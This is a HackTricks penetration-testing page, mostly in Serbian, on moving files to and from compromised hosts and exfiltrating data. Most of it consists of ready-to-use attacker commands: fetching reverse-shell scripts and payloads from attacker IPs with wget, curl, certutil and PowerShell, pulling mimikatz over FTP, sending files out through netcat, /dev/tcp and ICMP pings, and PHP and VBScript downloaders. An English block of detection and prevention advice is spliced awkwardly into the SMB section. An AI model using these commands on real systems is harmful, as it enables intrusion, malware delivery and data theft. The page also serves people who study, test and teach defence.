hacktricks/generic-methodologies-and-resources/exfiltration.md

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Izfiltracija

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Često belistovane domene za izfiltriranje informacija

Proverite https://lots-project.com/ da biste pronašli često belistovane domene koje mogu biti zloupotrebljene

Kopiranje&lepljenje Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Postavljanje fajlova

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Server

HTTPS Server

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

FTP server (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP server (NodeJS)

FTP server (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP server (pure-ftp)

apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows klijent

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali kao server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ili kreirajte smb deljenje koristeći sambu:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows


Exfiltration

Exfiltration Over Alternative Protocol

  1. Description

    Data exfiltration can be achieved using various protocols other than HTTP/HTTPS, such as DNS, ICMP, or SMTP. These protocols are often allowed to traverse network boundaries and can be used to bypass egress filtering.

  2. Detection

    • Monitor network traffic for unusual DNS requests, especially those containing encoded data.
    • Look for abnormal ICMP traffic patterns that may indicate data exfiltration.
    • Analyze SMTP traffic for unexpected attachments or unusual sending patterns.
  3. Prevention

    • Implement egress filtering rules that restrict the use of alternative protocols.
    • Use deep packet inspection to detect and block exfiltration attempts over alternative protocols.
    • Encrypt sensitive data before transmission to make exfiltration more difficult.
  4. Tools

    • Iodine: Tunnel IPv4 data through a DNS server.
    • ChopChop: Craft and send arbitrary IP packets.
    • SMTP-Tester: Test SMTP server for open relays.

Exfiltration Over Unencrypted/Unauthenticated Protocols

  1. Description

    Exfiltrating data over unencrypted or unauthenticated protocols, such as FTP or Telnet, can expose sensitive information to interception by network eavesdroppers.

  2. Detection

    • Monitor network traffic for clear-text passwords or sensitive data being transmitted over unencrypted protocols.
    • Look for unauthorized FTP or Telnet connections originating from internal hosts.
  3. Prevention

    • Encrypt data before transmission using secure protocols like SFTP or SSH.
    • Disable or restrict the use of unencrypted/ unauthenticated protocols within the network.
    • Implement strong authentication mechanisms to prevent unauthorized access to sensitive services.
  4. Tools

    • Wireshark: Analyze network traffic to identify clear-text data transmissions.
    • Nmap: Scan for open FTP or Telnet ports on network devices.
    • FileZilla: Securely transfer files using SFTP/FTP over SSH.

Exfiltration Over DNS

  1. Description

    DNS exfiltration involves encoding sensitive data within DNS queries or responses to bypass network security controls and exfiltrate data.

  2. Detection

    • Monitor DNS traffic for unusually large queries or responses that may contain exfiltrated data.
    • Look for patterns in DNS requests that deviate from normal domain resolution behavior.
    • Analyze DNS query timings and volume for signs of data exfiltration.
  3. Prevention

    • Implement DNS sinkholing to redirect suspicious DNS traffic to controlled servers.
    • Use DNS firewall rules to block unauthorized DNS queries containing suspicious data.
    • Encrypt DNS traffic using DNS over HTTPS (DoH) or DNS over TLS (DoT) to prevent eavesdropping.
  4. Tools

    • Dnscat2: Multi-platform tool for tunneling data through DNS servers.
    • Dns2tcp: Tunnel TCP over DNS.
    • dnsteal: Extract data from DNS traffic.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Napadač mora imati pokrenut SSHd.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Ako žrtva ima SSH, napadač može montirati direktorijum sa žrtve na napadača.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Netcat (NC) je moćan alat za mrežno preusmeravanje podataka. Može se koristiti za prenos podataka između sistema putem TCP ili UDP veza. NC može biti korišćen za slanje fajlova, snimanje portova i mnoge druge mrežne operacije.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Preuzimanje fajla sa žrtve

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Postavljanje fajla žrtvi

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Zahvaljujući @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Ako možete poslati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Podrazumevano u XP i 2003 (u drugima mora biti eksplicitno dodato tokom instalacije)

Na Kali, pokreni TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

TFTP server u Pythonu:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

Na žrtvu, povežite se sa Kali serverom:

tftp -i <KALI-IP> get nc.exe

PHP

Preuzmite fajl pomoću PHP jednolinijske komande:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Žrtva

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Program debug.exe ne samo što omogućava inspekciju binarnih fajlova već takođe ima mogućnost da ih rekonstruiše iz heksadecimalnog koda. To znači da, pružajući heksadecimalni kod binarnog fajla, debug.exe može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima ograničenje u sastavljanju fajlova do 64 kb veličine.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

DNS

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